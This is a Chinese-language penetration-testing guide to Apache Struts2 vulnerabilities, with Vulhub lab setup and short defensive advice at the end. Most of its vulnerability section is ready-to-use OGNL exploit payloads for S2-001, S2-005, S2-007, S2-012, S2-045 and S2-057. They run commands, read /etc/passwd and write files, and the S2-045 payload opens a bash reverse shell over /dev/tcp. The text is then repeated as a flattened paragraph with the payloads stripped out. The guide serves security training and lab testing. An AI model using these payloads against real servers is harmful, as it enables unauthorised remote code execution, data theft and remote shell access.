渗透测试--Struts2框架
字数 1472 2025-08-10 12:18:03

Struts2框架渗透测试全面指南

一、Struts2框架简介

Struts2是基于MVC设计模式的Web应用框架,作为控制器(Controller)建立模型与视图的数据交互。它是Struts的下一代产品,采用拦截器机制处理用户请求,使业务逻辑控制器能够与ServletAPI完全脱离。

关键特性

  • 广泛应用于阿里巴巴、京东等互联网企业及政府门户网站
  • 采用OGNL表达式处理参数值
  • 近年爆出多个高危漏洞
  • 我国战略性资产中广泛使用

二、环境搭建方法

1. 基础环境准备

  • 下载地址
    • Vulhub环境:https://github.com/vulhub/vulhub/tree/master/struts2
    • Tomcat:https://archive.apache.org/dist/tomcat/

2. S2-001环境搭建示例

  1. 将war包放入Tomcat的webapps目录
  2. 重启Tomcat自动部署
  3. 访问地址:http://[IP]:8088/Tomcat-web

注意:Windows下启动Tomcat服务后需关闭进程,避免端口冲突。

三、Struts2漏洞详解与利用

1. S2-001漏洞

漏洞原理:用户提交表单数据验证失败时,后端使用OGNL表达式%{value}解析参数值并重新填充表单。

检测方法

  • 在密码框输入%{1+1}(URL编码为%25%7B1%2B1%7D)
  • 返回结果应为2

命令执行Payload

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

2. S2-005漏洞

漏洞起源:源于S2-003,通过unicode编码(\u0023)或8进制(\43)绕过安全限制。

文件写入Payload

?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

3. S2-007漏洞

触发条件:当用户输入非整数导致类型验证失败时,服务器拼接用户输入并执行OGNL表达式。

检测方法

  • 输入'+(1+1)+',返回结果应为11

命令执行Payload

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))

4. S2-012漏洞

触发条件:Action中Result使用重定向类型,并使用${param_name}作为重定向变量。

命令执行Payload

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

5. S2-045漏洞

漏洞原理:上传功能代码非正常处理用户输入,可通过恶意POST数据包执行系统命令。

检测方法
修改Content-Type为:

%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',1+2+3+4)}.multipart/form-data

返回头中应有vulhub: 10

反弹Shell Payload

%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/ip/port 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}b

6. S2-057漏洞

触发条件:网站配置xml时namespace值未做安全过滤。

检测方法

/struts2-showcase/$%7B1+2+3+4+5+6%7D/actionChain1.action

返回结果应为21

命令执行Payload

/struts2-showcase/%24%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27whoami%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action

四、渗透测试技巧总结

  1. 通用检测方法

    • 使用${1+1}%{1+1}等简单OGNL表达式测试
    • 观察返回结果是否符合预期
  2. Payload构造要点

    • 确保allowStaticMethodAccess设置为true
    • 清除被排除的包和类
    • 设置正确的成员访问权限
    • 根据操作系统选择适当的命令执行方式
  3. 编码要求

    • 所有Payload必须进行URL编码
    • 特殊字符如#需使用%23代替
  4. 漏洞利用限制

    • 注意不同版本Struts2的受影响范围
    • 某些漏洞需要特定配置才能触发

五、防御建议

  1. 及时升级到Struts2最新安全版本
  2. 禁用动态方法调用
  3. 严格过滤用户输入的OGNL表达式
  4. 生产环境关闭devMode模式
  5. 对上传功能实施严格的安全检查

通过全面掌握Struts2各种漏洞的检测和利用方法,渗透测试人员可以更有效地评估Web应用安全性,同时开发人员也能更好地防护相关风险。

Struts2框架渗透测试全面指南 一、Struts2框架简介 Struts2是基于MVC设计模式的Web应用框架,作为控制器(Controller)建立模型与视图的数据交互。它是Struts的下一代产品,采用拦截器机制处理用户请求,使业务逻辑控制器能够与ServletAPI完全脱离。 关键特性 : 广泛应用于阿里巴巴、京东等互联网企业及政府门户网站 采用OGNL表达式处理参数值 近年爆出多个高危漏洞 我国战略性资产中广泛使用 二、环境搭建方法 1. 基础环境准备 下载地址 : Vulhub环境:https://github.com/vulhub/vulhub/tree/master/struts2 Tomcat:https://archive.apache.org/dist/tomcat/ 2. S2-001环境搭建示例 将war包放入Tomcat的webapps目录 重启Tomcat自动部署 访问地址:http://[ IP ]:8088/Tomcat-web 注意 :Windows下启动Tomcat服务后需关闭进程,避免端口冲突。 三、Struts2漏洞详解与利用 1. S2-001漏洞 漏洞原理 :用户提交表单数据验证失败时,后端使用OGNL表达式 %{value} 解析参数值并重新填充表单。 检测方法 : 在密码框输入 %{1+1} (URL编码为 %25%7B1%2B1%7D ) 返回结果应为2 命令执行Payload : 2. S2-005漏洞 漏洞起源 :源于S2-003,通过unicode编码( \u0023 )或8进制( \43 )绕过安全限制。 文件写入Payload : 3. S2-007漏洞 触发条件 :当用户输入非整数导致类型验证失败时,服务器拼接用户输入并执行OGNL表达式。 检测方法 : 输入 '+(1+1)+' ,返回结果应为11 命令执行Payload : 4. S2-012漏洞 触发条件 :Action中Result使用重定向类型,并使用 ${param_name} 作为重定向变量。 命令执行Payload : 5. S2-045漏洞 漏洞原理 :上传功能代码非正常处理用户输入,可通过恶意POST数据包执行系统命令。 检测方法 : 修改Content-Type为: 返回头中应有 vulhub: 10 反弹Shell Payload : 6. S2-057漏洞 触发条件 :网站配置xml时namespace值未做安全过滤。 检测方法 : 返回结果应为21 命令执行Payload : 四、渗透测试技巧总结 通用检测方法 : 使用 ${1+1} 或 %{1+1} 等简单OGNL表达式测试 观察返回结果是否符合预期 Payload构造要点 : 确保 allowStaticMethodAccess 设置为true 清除被排除的包和类 设置正确的成员访问权限 根据操作系统选择适当的命令执行方式 编码要求 : 所有Payload必须进行URL编码 特殊字符如 # 需使用 %23 代替 漏洞利用限制 : 注意不同版本Struts2的受影响范围 某些漏洞需要特定配置才能触发 五、防御建议 及时升级到Struts2最新安全版本 禁用动态方法调用 严格过滤用户输入的OGNL表达式 生产环境关闭devMode模式 对上传功能实施严格的安全检查 通过全面掌握Struts2各种漏洞的检测和利用方法,渗透测试人员可以更有效地评估Web应用安全性,同时开发人员也能更好地防护相关风险。